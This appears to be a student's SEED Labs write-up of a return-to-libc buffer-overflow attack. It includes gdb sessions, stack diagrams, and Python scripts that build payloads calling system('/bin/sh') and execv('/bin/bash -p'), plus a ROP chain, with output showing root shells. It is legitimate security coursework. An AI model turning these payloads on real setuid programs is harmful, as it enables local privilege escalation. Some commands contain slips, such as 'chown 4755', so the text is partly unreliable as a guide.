Return-to-libc

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Task 1

- Create an empty badfile and run retlib in gdb
- Breakpoint at main() according to the document
- Use p command to get the address of system and exit
- Screenshots

```
[04/01/21]seed@VM:~/.../return2libc$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a liter
al. Did you mean "=="?
  if sys.version info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a lite
ral. Did you mean "=="?
  if pyversion is 3:
Reading symbols from retlib...
(No debugging symbols found in retlib)
gdb-peda$ break main
Breakpoint 1 at 0x12ef
Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
```

Task 2

• Create an environment MYSHELL to store string /bin/sh

```
$ export MYSHELL=/bin/sh
```

• Create a c file named ******.c to print the address of MYSHELL (to have same name length with retlib)

```
void main() {
    char *shell = getenv("MYSHELL");
    if (shell)
        printf("%x\n", (unsigned int) shell);
}
```

Screenshot

```
[04/01/21]seed@VM:~/.../return2libc$ gcc -m32 -DBUF_SIZE=${N} -fno
-stack-protector -z noexecstack -o prtenv prtenv.c
[04/01/21]seed@VM:~/.../return2libc$ sudo chown root prtenv
[04/01/21]seed@VM:~/.../return2libc$ sudo chown 4755 prtenv
[04/01/21]seed@VM:~/.../return2libc$ ./prtenv
ffffd411
[04/01/21]seed@VM:~/.../return2libc$ ./prtenv
ffffd411
[04/01/21]seed@VM:~/.../return2libc$ ./prtenv
ffffd411
[04/01/21]seed@VM:~/.../return2libc$ ./prtenv
ffffd411
```

• The address of environment variable MYSHELL turns out to be the same since we turned off address randomization.

Task 3

• Here is a graph for the stack

- We can learn from the code that X is the offset of sh_addr from buffer and Y is the offset of system_addr from buffer and Z is the offset of exit_addr from buffer
- From the output of retlib, the offset of ebp from buffer is 0x98-0x80=0x18. Therefore, the offset of return address from buffer is 0x18+4=0x1c
- As we want to return to system() afterwards, so Y = 0x1c
- As exit() is set to be where system() return to, so Z = Y+4
- As /bin/sh is the parameter of system(), X = Y+4+4

• Code:

```
#!/usr/bin/env python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
X = 0x1c+8
sh_addr = 0xffffd411  # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
Y = 0x1c
system_addr = 0xf7e12420 # The address of system()
content[Y:Y+4] =
(system_addr).to_bytes(4,byteorder='little')
Z = 0x1c+4
exit_addr = 0xf7e04f80 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

Screenshot

• Successful result and difference of exit()

```
[04/01/21]seed@VM:~/.../return2libc$ retlib
Address of input[] inside main(): 0xffffcdb0
Input size: 300
Address of buffer[] inside bof(): 0xffffcd80
Frame Pointer value inside bof(): 0xffffcd98
# exit
[04/01/21]seed@VM:~/.../return2libc$ python3 exploit.py; retlib
Address of input[] inside main(): 0xffffcdb0
Input size: 300
Address of buffer[] inside bof(): 0xffffcd80
Frame Pointer value inside bof(): 0xffffcd98
# exit
Segmentation fault
```

Without adding exit() in the badfile, we can still get root because system is called successfully. But after we exit from system(), the program will continue to run and detect we have done something abnormal and print Segmentation fault since we broke the canary.

• change name length of the executable file

```
[04/01/21]seed@VM:~/.../return2libc$ mv retlib newretlib [04/01/21]seed@VM:~/.../return2libc$ newretlib Address of input[] inside main(): 0xffffcda0 Input size: 300 Address of buffer[] inside bof(): 0xffffcd70 Frame Pointer value inside bof(): 0xffffcd88 zsh:1: command not found: h Segmentation fault
```

After we called system(), it runs with parameter h instead of /bin/sh due to the address difference caused by different length of names.

Task 4

• After relink /bin/sh

```
[04/01/21]seed@VM:~/.../return2libc$ sudo ln -sf /bin/dash /bin/sh [04/01/21]seed@VM:~/.../return2libc$ retlib
Address of input[] inside main(): 0xffffcdb0
Input size: 300
Address of buffer[] inside bof(): 0xffffcd80
Frame Pointer value inside bof(): 0xffffcd98
$ exit
[04/01/21]seed@VM:~/.../return2libc$ ■
```

We can only get \$ even if system() is successfully called.

• Stack graph according to the document

```
|____argv[2]____|
                     -> NULL
|____argv[1]____|
                     -> address of "-p"
|____argv[0]____|
                     -> same with pathname
|____argv[]____|
                     -> address of argv[] (inside
input[])
|____pathname____|
                     -> start of param of system
                     -> return address of execv()
                     -> return address (execv())
                      ->
                         ebp
                      -> buffer
```

Since I am super lazy, I just put argv[] right behind the address of it.

Notice that the address of argv[] has to be inside input[] instead of inside buffer, because content of buffer is copied by strcpy() which will stop when meeting NULL (argv[2])

• Create an environment MYSHELL to store string /bin/sh

```
$ export MYSHELL1=/bin/bash
$ export MYSHELL2=-p
```

• Create a c file named ******.c to print the address of MYSHELL1 and MYSHELL2 (to have same name length with retlib)

```
void main() {
    char *shell = getenv("MYSHELL1");
    char *hhh = getenv("MYSHELL2");
    if (shell)
        printf("/bin/bash: %x\n-p: %x\n", (unsigned int)
    shell, (unsigned int)hhh);
}
```

• Code

```
#!/usr/bin/env python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
A = 0x1c+12
argv = 0xffffcd80+0x1c+16
content[A:A+4] = (argv).to_bytes(4,byteorder='little')
X = 0x1c+8
binbash = 0xffffd504
content[X:X+4] = (binbash).to_bytes(4,byteorder='little')
Y = 0x1c
execv_addr = 0xf7e994b0 # The address of execv()
content[Y:Y+4] = (execv_addr).to_bytes(4,byteorder='little')
Z = 0x1c+4
exit_addr = 0xf7e04f80 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
Arg = 0x1c+16
argv1 = binbash
argv2 = 0xffffd540
argv3 = 0
```

```
content[Arg:Arg+4] = (argv1).to_bytes(4,byteorder='little')
content[Arg+4:Arg+8] =
  (argv2).to_bytes(4,byteorder='little')
content[Arg+8:Arg+12] =
  (argv3).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

- Screenshot
 - Address of /bin/bash and -p in environment variables

```
[04/01/21]seed@VM:~/.../return2libc$ gcc -m32 -DBUF_SIZE=${N} -fno
-stack-protector -z noexecstack -o prtenv prtenv.c;sudo chown root
prtenv;sudo chown 4755 prtenv;prtenv
/bin/bash: ffffd504
-p: ffffd540
[04/01/21]seed@VM:~/.../return2libc$
```

• Get address of execv() and exit() from gdb

```
Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p execv
$1 = {<text variable, no debug info>} 0xf7e994b0 <execv>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
```

• Successful result

```
[04/01/21]seed@VM:~/.../return2libc$ python3 exploit2.py; retlib Address of input[] inside main(): 0xffffcd80
Input size: 300
Address of buffer[] inside bof(): 0xffffcd50
Frame Pointer value inside bof(): 0xffffcd68
bash-5.0# exit
exit
[04/01/21]seed@VM:~/.../return2libc$
```

Task 5

Stack graph

basically same with Task 4 apart from 10 calling of foo()

```
| ___argv[2] ___ | -> NULL
| __argv[1] __ | -> address of "-p"
| __argv[0] __ | -> same with pathname
| __argv[] __ | -> address of argv[]
| __pathname __ | -> start of param of system
| __execv() __ | -> return address of foo()
```

```
|_____foo()____|
                     -> return address of foo() 10
|_____foo()_____|
                     -> return address of foo() 9
|_____foo()_____|
                     -> return address of foo() 8
                     -> return address of foo() 7
|_____foo()____|
|_____foo()____|
                     -> return address of foo() 6
|_____foo()_____|
                     -> return address of foo() 5
  ____foo()____|
                     -> return address of foo() 4
                     -> return address of foo() 3
|_____foo()____|
  ____foo()____|
                    -> return address of foo() 2
|_____foo()____|
                     -> return address (foo()) 1
                     -> ebp
                     -> buffer
```

• Code

```
#!/usr/bin/env python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
foo = 0x565562b0
foo = (foo).to_bytes(4,byteorder='little')
start = 0x1c
for i in range(10):
    content[start:start+4] = foo
    start += 4
A = start+12
argv = 0xffffcd80+start+16
content[A:A+4] = (argv).to_bytes(4,byteorder='little')
X = start + 8
binbash = 0xffffd504
content[X:X+4] = (binbash).to_bytes(4,byteorder='little')
Y = start
execv_addr = 0xf7e994b0 # The address of execv()
content[Y:Y+4] = (execv_addr).to_bytes(4,byteorder='little')
```

```
Z = start+4
exit_addr = 0xf7e04f80  # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

Arg = start+16
argv1 = binbash
argv2 = 0xffffd540
argv3 = 0
content[Arg:Arg+4] = (argv1).to_bytes(4,byteorder='little')
content[Arg+4:Arg+8] =
(argv2).to_bytes(4,byteorder='little')
content[Arg+8:Arg+12] =
(argv3).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
f.write(content)
```

Screenshot

• Get address of foo() in gdb

```
Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p foo
$1 = {<text variable, no debug info>} 0x565562b0 <foo>
gdb-peda$ ■
```

• Successful result

```
[04/01/21]seed@VM:~/.../return2libc$ python3 exploit3.py; retlib
Address of input[] inside main(): 0xffffcd80
Input size: 300
Address of buffer[] inside bof(): 0xffffcd50
Frame Pointer value inside bof(): 0xffffcd68
Function foo() is invoked 1 times
Function foo() is invoked 2 times
Function foo() is invoked 3 times
Function foo() is invoked 4 times
Function foo() is invoked 5 times
Function foo() is invoked 6 times
Function foo() is invoked 7 times
Function foo() is invoked 8 times
Function foo() is invoked 9 times
Function foo() is invoked 10 times
bash-5.0# exit
exit
[04/01/21]seed@VM:~/.../return2libc$
```